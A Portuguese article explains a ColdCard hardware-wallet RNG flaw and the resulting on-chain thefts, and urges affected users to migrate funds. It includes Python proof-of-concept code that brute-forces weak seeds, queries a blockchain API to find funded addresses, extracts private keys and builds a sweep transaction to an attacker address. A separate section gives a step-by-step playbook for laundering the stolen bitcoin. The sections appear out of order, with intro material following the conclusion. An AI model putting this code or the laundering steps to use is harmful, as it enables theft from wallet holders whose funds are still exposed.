A chave privada é só um número inteiro. A partir dele, a curva elíptica calcula a chave pública; a chave pública é hasheada até virar o endereço. O endereço é o que aparece na blockchain; o número inteiro é o que permite gastar.

No caso ColdCard, o número inteiro não tinha 128 bits de aleatoriedade real. Tinha ~40. Então, em vez de procurar uma agulha no universo, o atacante procurava uma agulha em uma floresta pequena.

Evidência real na blockchain

Não estou inventando números. O site independente coldcard-watch.vercel.app vem rastreando os drains transação a transação e publica o mínimo verificado: 1.128,6633 BTC drenados de 2.334 endereços confirmados. O próprio site deixa claro que esses são mínimos verificados, não totais — outras clusters provavelmente existem.

Ele identifica dois episódios de drenagem:

• 30 de julho de 2026, blocos 960183 a 960191 — 1.195 endereços drenados.
• 31 de julho de 2026, blocos 960345 a 960369 — 1.126 endereços drenados.

Os principais clusters públicos que compõem esse mínimo incluem:

• bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0 — recebeu 594,47723261 BTC em 501 outputs.
• bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 — recebeu ~398,476 BTC em uma única transação com 491 inputs (14edd9ee...).
• bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q — recebeu ~89,623 BTC em uma única transação com 204 inputs (4b50d61a...).

Só esses três clusters já somam ~1.082 BTC; as demais transações verificadas levam o total mínimo para 1.128,6633 BTC.

O primeiro cluster transferiu ~562 BTC para bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r; é o mesmo dinheiro, não uma quarta vítima.

Um exemplo concreto: a transação 78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d consolida três inputs do mesmo endereço vulnerável bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, sendo um deles de quase 29,9 BTC. Os três inputs usam a mesma chave pública comprimida:

037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e

Ou seja, três UTXOs diferentes, mesmo dono, mesma chave privada. O atacante encontrou essa chave e assinou tudo de uma vez.

Outros endereços de origem com valores expressivos incluem bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf (~24,08 BTC), bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5 (~14,43 BTC) e bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw (~11,74 BTC). Você pode clicar em cada um e ver os UTXOs sendo movidos para um endereço de consolidação.

A Bitcoin Optech edição 416 estimava perdas acima de 1.000 BTC enquanto o caso se desenrolava; o rastreamento independente agora confirma pelo menos 1.128,6633 BTC roubados.

O que a timeline na blockchain sugere sobre a ordem do ataque

O coldcard-watch mostra dois episódios distintos, separados por mais de 24 horas. O primeiro aconteceu entre os blocos 960183 e 960191 (30 de julho, por volta de 01:10 UTC); o segundo, entre 960345 e 960369 (31 de julho). Dentro do primeiro episódio, os três grandes clusters (~594, ~398 e ~89 BTC) foram minerados em blocos consecutivos — portanto, dentro de cada onda as varreduras foram disparadas praticamente ao mesmo tempo.

Essa forma de ondas separadas é compatível com duas interpretações:

1. Mesmo atacante, pré-computação em lotes. A primeira onda pega os alvos mais fáceis e mais bem financiados; a segunda onda vem de um segundo lote de candidatos já pré-computados.
2. Múltiplos atacantes. Depois que a falha se tornou pública, outros atores entraram com seus próprios dicionários de estados prováveis.

Em qualquer um dos casos, a economia do ataque favorece a ordem da tabela anterior. O Mk2/Mk3 v4 é o melhor custo-benefício:

• ~40 bits efetivos ≈ 2^40 ≈ 1,1 trilhão de estados candidatos.
• Numa GPU que teste 1 milhão de candidatos por segundo (incluindo derivação BIP32 e consulta ao explorer), levaria cerca de 13 dias para varrer tudo. Com 100 GPUs/FPGAs, cai para poucas horas.
• Como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, conforme a Block aponta, o SysTick sozinho reduz o espaço a ~80 mil valores (~16 bits), tornando a busca trivial em segundos.

Mk4/Q/Mk5 com reseed depende do quanto o fallback é conhecido:

• Se o fallback é conhecido, só restam os 32 bits do secure element: 2^32 ≈ 4,3 bilhões de candidatos por aparelho, ou cerca de 1,2 hora por dispositivo a 1 milhão/s.
• Se o fallback é completamente desconhecido, o espaço sobe para ~2^72, cerca de 4,7 sextilhões de candidatos — inviável por força bruta pura.

Por isso a primeira onda deve ser dominada por Mk3. A segunda onda, mais de um dia depois, pode incluir lotes adicionais do mesmo modelo ou modelos mais difíceis em que o atacante conseguiu perfilar o fallback. Sem identificar o modelo por trás de cada endereço, não dá para afirmar com certeza, mas a ordem de dificuldade está clara.

A velocidade também mostra que o ataque não começou do zero no dia 30 de julho. Para varrer 1,1 trilhão de estados e achar centenas de endereços com saldo, o atacante já tinha infraestrutura pronta ou passou dias ou semanas pré-computando antes de mover os primeiros UTXOs.

O que a chain revela sobre a operação

O site coldcard-hack.up.railway.app analisa em detalhe as três ondas que esvaziaram 1.082,59 BTC em 41 minutos (blocos 960183 a 960191). Embora o site avise que foi compilado por um agente de IA e não revisado por humanos, os dados da blockchain são verificáveis:

Detalhes que saltam aos olhos:

• Ordem por saldo: dentro de cada onda, as transações foram ordenadas do maior para o menor saldo. Isso não é acidente; é uma fila de prioridade configurada no script.
• Formato idêntico: todas as 1.195 sweeps gastam todos os UTXOs de um único endereço de origem para um único output, sem troco. Não há variação manual.
• Taxa uniforme: mediana de 30,136986 sat/vB em todas as ondas — o mesmo script escolhendo a taxa.
• Tipos de endereço: 1.182 eram SegWit nativo (v0_p2wpkh), 7 P2SH-wrapped e 6 legacy. Portanto o ataque não se limitou a BIP84, embora a maioria dos usuários ColdCard use bech32.
• Fundos parados: até o momento em que o site congelou os dados, os ~1.082 BTC ainda estavam nos vaults, sem mixer, sem peel chain, sem movimentação posterior.

Tudo isso aponta para uma única operação automatizada, não para 1.195 roubos independentes.

Como isso passou despercebido

O mesmo coldcard-hack.up.railway.app mapeia os commits que introduziram o bug. Os fatos mais graves:

• O commit que adicionou a guarda #ifndef errada no libngu teve uma mensagem de um caractere, alterou 28 arquivos e não passou por pull request.
• O commit First pass w/ libNgU, que migrou a geração de seeds para o libngu e removeu código GPL, alterou 120 arquivos e também foi empurrado diretamente, sem PR.
• Os dois commits posteriores que adicionaram o reseed de 32 bits e a mistura do secure element até abriram PRs, mas foram mergeados com zero reviews.

Uma mudança crítica no caminho de geração de entropia passou sem revisão end-to-end. O TRNG correto existia no binário; o problema foi que o símbolo errado foi linkado, e ninguém escreveu um teste que provasse de onde a seed realmente vinha.

O passo a passo conceitual do ataque

Antes do código, o fluxo geral:

1. Reproduzir o RNG. O atacante implementa o Yasmarang exatamente como no firmware, incluindo o XOR com o segundo Yasmarang do libNgU.
2. Enumerar estados plausíveis. Para cada combinação de UID, SysTick, RTC e, nos modelos novos, reseed do secure element, ele gera os 32 bytes que a ColdCard teria gerado como entropia.
3. Derivar a wallet. A partir dessa entropia, calcula a mnemonic BIP39, a seed BIP32, e deriva os primeiros endereços de recebimento e troco.
4. Consultar a blockchain. Para cada endereço derivado, pergunta a um explorador ou a um node próprio se existe UTXO.
5. Parar no match. Quando um endereço derivado bate com um endereço que tem saldo, o atacante já tem a chave privada correspondente.
6. Gastar. Com a chave privada, ele monta uma transação que move o UTXO para um endereço que ele controla.

A blockchain é o oráculo. Sem ela, o atacante não saberia qual estado gerou dinheiro real. Com ela, cada UTXO encontrado confirma que ele acertou a chave.

Código de prova de conceito

O script abaixo é didático. Ele não foi otimizado para GPU, não roda em segundos contra 40 bits e não lida com todas as variações de firmware. O que ele faz é tornar o ataque legível, função por função.

1. O PRNG quebrado: Yasmarang

def yasmarang_step(state):
    """state = [pad, n, d, dat]; muta a lista e devolve um uint32."""
    pad, n, d, dat = state

    pad = (pad + dat + d * n) & 0xFFFFFFFF
    pad = ((pad << 3) | (pad >> 29)) & 0xFFFFFFFF
    n = pad | 2
    d = (d ^ ((pad << 31) | (pad >> 1))) & 0xFFFFFFFF
    dat = (dat ^ (pad & 0xFF) ^ ((d >> 8) & 0xFF) ^ 1) & 0xFF

    out = (pad
           ^ ((d << 5) & 0xFFFFFFFF)
           ^ (pad >> 18)
           ^ ((dat << 1) & 0xFFFFFFFF)) & 0xFFFFFFFF

    state[:] = [pad, n, d, dat]
    return out

O que faz: implementa o gerador determinístico que estava no firmware. É a mesma função que qualquer um pode copiar do código fonte do MicroPython.

Exemplo de estado:

>>> s = [0x0A8CE26F, 69, 233, 0]
>>> [hex(yasmarang_step(s)) for _ in range(3)]
['0x12f99f10', '0x1e0841df', '0x8f794c6c']

2. Do estado do RNG para entropia da ColdCard

def coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed=None):
    """
    Simula o que a ColdCard fazia para gerar os 32 bytes de entropia.

    - MicroPython inicializa seu Yasmarang com:
        pad = UID_low32 ^ SysTick->VAL
        n   = RTC->TR
        d   = RTC->SSR
    - libNgU mantém um segundo Yasmarang com constantes públicas.
    - Cada palavra de 32 bits é: chip ^ my_yasmarang().
    - Nos Mk4/Q/Mk5, o reseed altera o 'pad' do estado do libNgU.
    """
    mpy_state = [uid_low32 ^ systick, rtc_tr, rtc_ssr, 0]
    libngu_state = [0x0A8CE26F, 69, 233, 0]

    if reseed is not None:
        # reseed() no firmware só sobrescreve yasmarang_pad
        libngu_state[0] = reseed & 0xFFFFFFFF

    # A ColdCard pode fazer chamadas extras antes de gerar a seed (health
    # check, etc.). Na prática o atacante modela o histórico exato de
    # chamadas. Aqui simplificamos para 8 palavras = 32 bytes.
    words = []
    for _ in range(8):
        chip = yasmarang_step(mpy_state)
        mix = chip ^ yasmarang_step(libngu_state)
        words.append(struct.pack("<I", mix))

    return b"".join(words)

O que faz: monta o estado inicial. O pad do MicroPython é UID_low32 ^ SysTick; n e d vêm do RTC. O libNgU entra com constantes públicas. Cada palavra é o XOR das duas. Esse XOR não cria aleatoriedade: se os dois lados são reproduzíveis, o resultado também é.

Exemplo:

>>> coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
'3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66'

3. De entropia para endereço Bitcoin

def first_addresses(entropy_bytes, account=0):
    """
    Dada a entropia bruta, gera a mnemonic BIP39, a seed BIP32 e os
    primeiros endereços SegWit nativos de recebimento e troco.
    """
    mnemonic = mnemonic_from_bytes(entropy_bytes)
    seed = mnemonic_to_seed(mnemonic)
    root = HDKey.from_seed(seed)

    addrs = {"mnemonic": mnemonic}
    for change in [0, 1]:
        for idx in range(5):
            path = f"m/84'/0'/{account}'/{change}/{idx}"
            key = root.derive(path)
            addr = p2wpkh(key.key.get_public_key()).address()
            label = "receive" if change == 0 else "change"
            addrs.setdefault(label, []).append(addr)
    return addrs

O que faz: pega os 32 bytes, transforma em 24 palavras BIP39, calcula a seed, abre a árvore BIP32 e deriva os endereços. Na prática o atacante testa dezenas ou centenas de índices e também outras contas.

Exemplo:

>>> cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
>>> cand["mnemonic"]
'copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup'
>>> cand["receive"][0]
'bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp'

4. Consultar a blockchain como oráculo

def has_utxo(address):
    """True se o endereço tiver qualquer UTXO no mempool.space."""
    url = f"https://mempool.space/api/address/{address}/utxo"
    try:
        r = requests.get(url, timeout=10)
        r.raise_for_status()
        return len(r.json()) > 0
    except Exception as e:
        print("erro consultando", address, e)
        return False

O que faz: faz a pergunta real. Sem essa consulta, o atacante não saberia se acertou. A blockchain é o oráculo.

Exemplo de não acerto:

>>> has_utxo("bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp")
False

O atacante descarta e passa ao próximo candidato.

Exemplo de acerto (o endereço real da vítima bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, antes do sweep):

[
  {
    "txid": "78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d",
    "vout": 0,
    "value": 2989251877,
    "status": {"confirmed": true, "block_height": 960188}
  }
]

Quando has_utxo devolve True, o atacante sabe que a seed que ele acabou de gerar produz aquele endereço — e, portanto, a chave privada correspondente.

5. Enumerar candidatos e caçar

def brute_mk3(uid_low32):
    """
    Exemplo para Mk3/Mk2 v4: varre SysTick e RTC plausíveis.
    Na prática o atacante usa GPUs/FPGAs e restringe o UID pelo serial.
    """
    for systick in range(80_000):
        for rtc_tr in range(0x000000, 0x240000, 0x100):
            for rtc_ssr in range(0, 256):
                yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr)


def brute_mk4(uid_low32, systick, rtc_tr, rtc_ssr):
    """
    Exemplo para Mk4/Q/Mk5: o fallback é fixado e o atacante enumera
    os 2^32 valores possíveis do reseed do secure element.
    """
    for reseed in range(0x100000000):
        yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed)


def hunt(uid_low32, generator):
    for entropy in generator:
        candidate = first_addresses(entropy)
        for addr in candidate["receive"] + candidate["change"]:
            if has_utxo(addr):
                print("ACERTOU!")
                print("  mnemonic:", candidate["mnemonic"])
                print("  endereço :", addr)
                return candidate


# Exemplo didático: use um UID conhecido e um gerador Mk3 reduzido.
# hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))

O que fazem: brute_mk3 varre estados plausíveis para Mk3; brute_mk4 varre os 2^32 reseeds do secure element; hunt é o loop que gera, deriva e checa. O atacante real não roda em Python; escreve isso em C/CUDA/FPGA e paraleliza por UID. Mas a lógica é idêntica.

Depois de achar a colisão

Quando hunt retorna, o atacante já tem a mnemonic e o endereço com saldo. Com elas, ele obtém a chave privada:

from embit.bip39 import mnemonic_to_seed
from embit.bip32 import HDKey

seed = mnemonic_to_seed(candidate_mnemonic)
root = HDKey.from_seed(seed)
addr_key = root.derive("m/84'/0'/0'/0/0")

print("WIF comprimido:", addr_key.key.wif())
print("Endereço      :", addr_key.address())

Saída típica:

WIF comprimido: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
Endereço      : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp

Esse WIF é a chave privada no formato que qualquer wallet entende. A partir daqui o atacante pode:

1. Importar a seed ou o WIF no Sparrow, Electrum ou outra wallet.
2. Rescanar a blockchain para ver todos os UTXOs daquela seed.
3. Montar uma transação mandando os fundos para um endereço que ele controla.
4. Assinar e transmitir.

Exemplo concreto de sweep

No caso real, o atacante varreu o UTXO de 29.89251877 BTC do endereço bc1qe85jr... para o endereço de consolidação. O que ele precisava produzir era uma transação assinada. O esqueleto, com valores didáticos e um input fictício, fica assim:

from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import HDKey

# chave recuperada a partir da seed colidida
key = HDKey.from_seed(candidate_mnemonic).derive("m/84'/0'/0'/0/0")

input_value  = 2_989_251_877      # 29.89251877 BTC, em satoshis
fee          = 7_380              # taxa em satoshis
output_value = input_value - fee  # o que sobra para o atacante

tx = Transaction(network='bitcoin', fee=fee, witness_type='segwit')
tx.add_input(
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  # txid do UTXO da vítima
    0,
    keys=key,
    value=input_value,
    locking_script=bytes.fromhex('0014') + key.hash160,
    script_type='sig_pubkey',
    address=key.address()
)
tx.add_output(output_value, 'bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru')  # endereço do atacante
tx.sign()

print(tx.raw_hex())

Uma transação assinada válida tem esse formato (hex truncado):

01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...

O atacante transmite esse hex para qualquer node Bitcoin (mempool.space, seu próprio node, Electrum, etc.). O protocolo não pergunta de onde veio a chave; só verifica se a assinatura satisfaz o script. Se a assinatura for válida, a rede inclui a transação no próximo bloco e o UTXO muda de dono.

No ataque real, isso foi feito 1.195 vezes em 41 minutos, todos com o mesmo script, a mesma taxa e a mesma lógica de ordenação por saldo.

O que essa classe de bugs significa

Esse não é um ataque à curva elíptica, ao SHA-256, ao BIP39 ou ao Bitcoin. É um ataque à entropia. O fabricante reduziu o espaço de chaves e o protocolo simplesmente aceitou as assinaturas que saíram daquele espaço menor.

Três lições:

1. Não confie na aparência de aleatoriedade. O output do Yasmarang passa por testes estatísticos simples e parece aleatório. Mas se o estado inicial é previsível, toda a sequência é previsível.
2. Hash não cria entropia. Passar 40 bits de entrada por SHA-256 duas vezes gera um hash bonito e uniforme, mas ainda existem no máximo 2^40 hashes possíveis. O atacante enumera as entradas, não os hashes.
3. A blockchain é pública e permanente. Uma wallet vulnerável pode ficar anos quieta até alguém ligar os pontos. No dia em que o ataque é publicado, todos os UTXOs daquele espaço de chaves viram alvos.

Dá para pegar o criminoso?

Uma pergunta que aparece toda vez que um roubo de criptomoedas ganha escala é: “será que dá para rastrear quem fez isso?”. A resposta curta é: talvez, mas não é trivial, e rastrear não é o mesmo que recuperar os bitcoins.

Clay Garrett, que está entre as pessoas investigando o caso, publicou uma thread no X alegando que a equipe dele identificou um padrão de varredura incomum. Segundo a thread, o operador do ataque teria usado uma conta paga de um provedor de serviços blockchain bem conhecido para consultar os endereços-fonte e a atividade relacionada durante os sweeps. Os logs do provedor teriam correspondido, com “especificidade extraordinária”, ao número, ao timing e à sequência das requisições. O provedor, segundo Garrett, estava apenas fornecendo serviços normais; as requisições em si não revelavam para que serviam.

O que isso significa, se for confirmado:

• Um provedor de serviços blockchain tipicamente exige conta, e muitas vezes pagamento. Isso pode deixar rastros: e-mail, método de pagamento, endereço IP, horários de acesso, padrão de uso da API.
• Se a conta passou por KYC, a probabilidade de identificar uma pessoa sobe muito. Se o pagamento foi feito com criptomoeda, voucher anônimo ou cartão de terceiros, o vínculo se torna fraco.
• Mesmo com um IP ou e-mail, o operador pode ter usado VPN, Tor, computação em nuvem descartável ou identidade roubada. Cada camada adicional reduz a chance de chegar até a pessoa real.
• Os fundos, até onde se sabe, ainda não foram movidos para mixers ou trocas. Enquanto estiverem parados, existe uma janela para congelamento ou recuperação judicial. Assim que forem trocados, misturados ou convertidos em fiat off-shore, a recuperação do ativo fica drasticamente mais difícil.

Ou seja: a thread aponta para uma linha de investigação promissora, mas é uma alegação em andamento, não uma prova concluída. Capturar o operador depende de como ele se expôs nos serviços terceirizados, da qualidade dos logs, da jurisdição e da velocidade das autoridades. Recuperar os bitcoins depende de onde as moedas estiverem quando isso acontecer. As duas coisas estão relacionadas, mas não são a mesma coisa.

O que o atacante ainda não fez

Até agora, a operação foi tecnicamente competente no ataque, mas amadora na fuga. Os ~1.128 BTC roubados estão parados em endereços de consolidação conhecidos, sem mixer, sem coinjoin, sem movimentação posterior. Isso é incomum para um roubo dessa magnitude e merece atenção, porque define o que ainda é recuperável.

O que seria um mixer, e por que ele não foi usado

Um mixer (ou tumbler) é um serviço que recebe bitcoins de várias pessoas, embaralha os valores em uma única transação ou série de transações e devolve bitcoins equivalentes em endereços novos. A ideia é quebrar a cadeia pública de “de onde veio”.

O modelo clássico é o CoinJoin: vários participantes assinam juntos uma transação com muitos inputs e muitos outputs do mesmo tamanho. Observador externo vê que o dinheiro entrou, mas não consegue dizer qual output pertence a quem. Ferramentas como Wasabi Wallet e Samourai Wallet implementam CoinJoin de forma automatizada. O Samourai chegou a oferecer o serviço Whirlpool, onde os UTXOs passam por rodadas de remixagem que dificultam ainda mais o rastreamento.

Outro modelo é o mixer centralizado, em que você envia bitcoins para um endereço do serviço e recebe de volta de um pool diferente, menos uma taxa. Historicamente serviços como Bitcoin Fog e Helix funcionavam assim. A diferença para o CoinJoin é que você precisa confiar no operador do mixer — e vários desses operadores foram presos exatamente porque os investigadores conseguiram ligar os depósitos aos saques.

No caso do roubo da ColdCard, nenhuma dessas técnicas apareceu ainda. Os bitcoins saíram das wallets das vítimas, foram parar em três grandes clusters e, de lá, não se moveram. Isso pode significar várias coisas:

1. O atacante ainda está decolando. Roubar 1.128 BTC em 41 minutos é uma coisa; lavar 1.128 BTC sem deixar rastros é outra. Configurar uma pipeline de anonimização leva tempo, custa dinheiro e exige contas pré-estabelecidas.
2. O atacante não esperava tanta visibilidade. Quando a imprensa e os analistas de blockchain começam a acompanhar endereços em tempo real, qualquer movimentação imediata vira notícia. Parar os fundos é uma forma de esperar o burburinho baixar.
3. O atacante pode estar negociando uma recuperação. Não é raro que grandes roubos terminem em acordo, com parte dos fundos devolvida em troca de anonimato do ladrão.

Como se esconde normalmente uma quantia dessas

Se o operador quiser realmente dificultar o rastreamento, o playbook padrão envolve várias camadas:

1. CoinJoin em rodadas. O atacante divide os fundos em valores padronizados e passa por múltiplas rodadas de CoinJoin. Depois de algumas rodadas, o grafo deixa de ser uma árvore e vira uma teia, dificultando a atribuição.
2. Peel chain. Em vez de mandar tudo de uma vez, ele vai transferindo pequenas fatias por dezenas ou centenas de endereços intermediários, como descascar uma cebola. Cada endereço envia a maior parte para o próximo e uma pequena fração para um destino final.
3. Trocas instantâneas e bridges. Trocar Bitcoin por Monero em uma exchange descentralizada ou bridge é um caminho comum: Monero oculta remetente, destinatário e valor. Depois de algumas transações em Monero, o atacante pode trocar de volta para Bitcoin em novos endereços.
4. Exchanges com KYC fraco ou nenhum. Depositar em corretoras que não exigem identificação, ou que aceitam contas de terceiros, permite converter em stablecoins, fiat ou outras criptomoedas. Mesmo com KYC, contas compradas ou de laranjas ajudam a criar distância.
5. Fiat off-shore. O estágio final é transformar o ativo em dinheiro real fora das jurisdições que cooperam com investigações. Casas de câmbio não reguladas, caixas eletrônicos de Bitcoin, cartões pré-pagos e contas em paraísos fiscais entram aqui.

Cada uma dessas camadas não torna o rastreamento impossível, mas aumenta o custo. Uma investigação bem financiada ainda pode seguir pistas: taxas pagas por uma exchange, padrões de timing, endereços de troco, correspondência de valores. O problema é que, quanto mais camadas, mais tempo leva — e quanto mais tempo, menor a chance de congelar os fundos antes que sejam gastos.

Por que isso importa agora

O fato de os bitcoins ainda estarem nos endereços de consolidação significa que a janela de recuperação ainda está aberta, em teoria. Autoridades e investigadores privados podem monitorar esses endereços, pedir congelamento em exchanges e pressionar provedores de serviços blockchain. Se o atacante enviar qualquer satoshi para um mixer conhecido, o alerta dispara.

Mas essa janela se fecha assim que os fundos entrarem em um pipeline de anonimização. Depois de um CoinJoin bem feito, de uma troca por Monero e de uma rede de peel chains, a pergunta deixa de ser “onde está o dinheiro?” e passa a ser “quem conseguimos prender?”. Recuperar o ativo se torna tecnicamente inviável para a maioria das vítimas.

Ou seja, o atacante já venceu a primeira batalha — encontrar e roubar as chaves. A segunda batalha, de sair com o dinheiro de forma anônima, é a que normalmente separa ladrões de grandes carteiras de ladrões que acabam presos.

Conclusão

Se você ainda tem fundos em uma seed gerada por firmware ColdCard vulnerável, o risco não é teórico. A blockchain já mostra centenas de endereços sendo esvaziados por alguém que reproduziu o RNG defeituoso.

A ColdCard não guarda seus bitcoins. Ela guardava a chave. A chave nasceu fraca. Quem tem uma cópia da mesma chave — obtida enumerando estados de um PRNG — pode assinar transações do seu lado, sem nunca ter tocado no aparelho.

A única defesa é mover os fundos para uma seed nova, gerada por firmware corrigido ou, melhor ainda, por um processo que combine fontes independentes de entropia (dados casino-grade, TRNG de outro fabricante, host offline). E testar a restauração antes de enviar valor relevante.

Não confie em empresa, certificação, influencer ou artigo. Nem neste aqui. Verifique.

Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação recebeu 594,47723261 BTC em 501 outputs. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do Bitcoin Optech, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de 1.000 BTC.

O número exato ainda vai mudar. O cluster de 594 BTC é diretamente observável; atribuir cada input à mesma vulnerabilidade e fechar o total global exige análise adicional. Mas a combinação de relatos de vítimas, padrão do sweep, reprodução do bug e admissão da própria Coinkite é forte o bastante. Esperar um relatório forense bonito enquanto uma seed vulnerável continua recebendo fundos é uma péssima estratégia.

Também não entre em pânico e digite suas 24 palavras no primeiro site que promete “verificar ColdCard”. Isso é a outra forma, bem mais fácil, de perder tudo. Seed nunca entra em website, chat, extensão de browser ou computador online. Primeiro entenda se foi afetado. Depois migre com calma, conferindo endereço na tela de um signer confiável.

Quem precisa agir agora

A vulnerabilidade está na geração da seed. O que importa é o modelo e o firmware usados no dia em que aquelas palavras foram criadas, não o firmware instalado hoje nem onde você importou a seed depois.

Na prática: se você tem qualquer ColdCard, mova os fundos pra uma wallet derivada de uma seed completamente nova. Melhor pecar pelo excesso de cuidado. As faixas abaixo dizem onde o bug já foi confirmado; não são motivo pra apostar a poupança da sua vida na hipótese de que todo o resto está perfeito. Atualizar o aparelho não conserta a seed antiga.

Segundo o advisory da Coinkite e a análise independente da Block, trate como comprometida qualquer seed gerada nestas condições:

A Block inclui Mk2 com firmware 4.x na mesma regressão do Mk3 e começa a faixa vulnerável dos dois no 4.0.0. A Coinkite concentrou o advisory no Mk3, a partir do 4.0.1, e nos modelos atuais. Eu trataria toda a linha 4.x até 4.1.9 como comprometida nos dois. Se você tem Mk2, não use a ausência dele no título do comunicado como conforto.

Há uma exceção importante: quem acrescentou pelo menos 50 jogadas justas, independentes e privadas de um dado durante a criação original preservou, em tese, no mínimo 128 bits vindos de fora. A própria Coinkite diz que essas seeds não estão em risco por este bug isoladamente. Se você não lembra exatamente quantas jogadas fez, qual fluxo usou ou se aqueles resultados continuaram privados, assuma que não fez.

Seed importada de outro gerador também não nasceu desse RNG defeituoso. Ela pode ter outros problemas, claro, mas não este. E atualizar firmware agora não volta no tempo pra reparar palavra nenhuma. Você precisa criar uma seed nova e transferir os UTXOs pra endereços derivados dela.

Restaurar as mesmas 24 palavras numa Trezor, Ledger, SeedSigner ou qualquer outro aparelho NÃO é uma migração. Você continua em perigo. O hardware mudou; a raiz e todo o universo de private keys derivadas continuam os mesmos. Outro derivation path pode até mostrar endereços diferentes, mas não acrescenta entropia. Se a ColdCard gerou aquela wallet com o RNG fraco, importar a seed em outro signer apenas ensina o aparelho novo a reproduzir as mesmas chaves vulneráveis. Crie uma wallet completamente nova, com entropia nova, e faça uma transação on-chain movendo os fundos da wallet antiga pra endereços da nova.

Eu faria isso mesmo tendo uma passphrase forte. A passphrase pode ter colocado uma barreira independente na frente do atacante, mas a própria Coinkite recomenda migrar. Depois de uma falha desta proporção, ficar calculando o mínimo teórico aceitável de risco é economizar no lugar errado.

O bug: #ifndef não significa “se for verdadeiro”

O post-mortem técnico da Coinkite é uma leitura constrangedora.

Em março de 2021, o firmware trocou ckcc.rng_bytes() por ngu.random.bytes() durante a migração pro libNgU e pro libsecp256k1 usado pelo Bitcoin Core. A escolha da biblioteca criptográfica era boa. A integração foi desastrosa.

O código de build definia:

#define MICROPY_HW_ENABLE_RNG (0)

Só que a guarda no libNgU verificava isto:

#ifndef MICROPY_HW_ENABLE_RNG
#error "get a HW TRNG plz"
#endif

#ifndef pergunta se o símbolo existe, não se o valor dele é diferente de zero. O símbolo existia. O build passou. Na resolução final, rng_get() apontou pro fallback de software do MicroPython, um PRNG determinístico chamado Yasmarang, inicializado com UID do microcontrolador e registradores de tempo. UID identifica chip. Relógio mede tempo. Nenhum dos dois é uma fonte criptográfica de aleatoriedade.

Pior: a implementação correta do TRNG estava dentro do binário. Reviews anteriores olharam pra ela e concluíram que estava tudo certo, mas ninguém verificou o caminho completo entre “gerar nova wallet” e o símbolo que de fato era chamado no executável. Não havia teste de integração que falhasse quando a seed saísse do gerador errado.

No Mk3, a estimativa preliminar da Coinkite é de cerca de 40 bits de entropia efetiva, em vez dos 128 bits mínimos esperados. Nos Mk4, Q e Mk5, valores dos secure elements entravam como uma segunda camada, e a empresa estima aproximadamente 72 bits. A análise da Block é ainda mais dura: apenas 32 bits do material dos secure elements chegavam ao estado do PRNG naquele reseed. Os modelos de ameaça e as estimativas não são idênticos. Nenhum deles chega perto do alvo.

Passar a saída ruim por SHA-256 não cria entropia. Se existem apenas 2^40 entradas possíveis, no máximo existirão 2^40 hashes possíveis. Eles ficam bonitos, uniformes e continuam enumeráveis.

Isso ficou no caminho mais importante do produto por mais de cinco anos.

Como uma reescrita de 120 arquivos chegou aqui

O Zach Herbert publicou uma timeline que vale resumir. Ele é cofundador da Foundation, fabricante da Passport e concorrente da Coinkite, portanto leia a interpretação com esse contexto. As datas e commits, porém, são verificáveis.

Em julho de 2020, a Foundation anunciou que sua primeira Passport aproveitaria o firmware GPLv3 da ColdCard. Dois dias depois, NVK reclamou publicamente do “clone” e disse que mudaria a licença. Em novembro, a ColdCard adicionou MIT mais Commons Clause, que deixava o código visível mas restringia produtos comerciais derivados. Em janeiro de 2021, a mudança apareceu formalmente no firmware 3.2.1.

No dia 1 de março veio o commit First pass w/ libNgU: 120 arquivos alterados, remoção de bibliotecas derivadas da Trezor sob GPL, troca da stack criptográfica e mudança do código que gerava seeds. Em 17 de março, a versão 4.0.0 anunciou a remoção do último código GPL.

Não dá pra provar quanto da pressa ou do escopo veio da disputa de licença. A própria timeline reconhece outros objetivos legítimos: adotar libsecp256k1, acelerar AES/SHA e permitir builds reproduzíveis. O fato concreto é mais simples: o bug entrou no mesmo commit gigantesco e o produto passou cinco anos sem um teste end-to-end do seu caminho mais crítico.

Isso é incompetência de engenharia. Um hardware wallet pode ter secure element, embalagem lacrada, air gap e site cheio de explicações sobre soberania. Se a função que gera a chave chama o RNG errado e ninguém testa isso por cinco anos, o resto virou cenário.

Isso foi cisne branco, não cisne negro

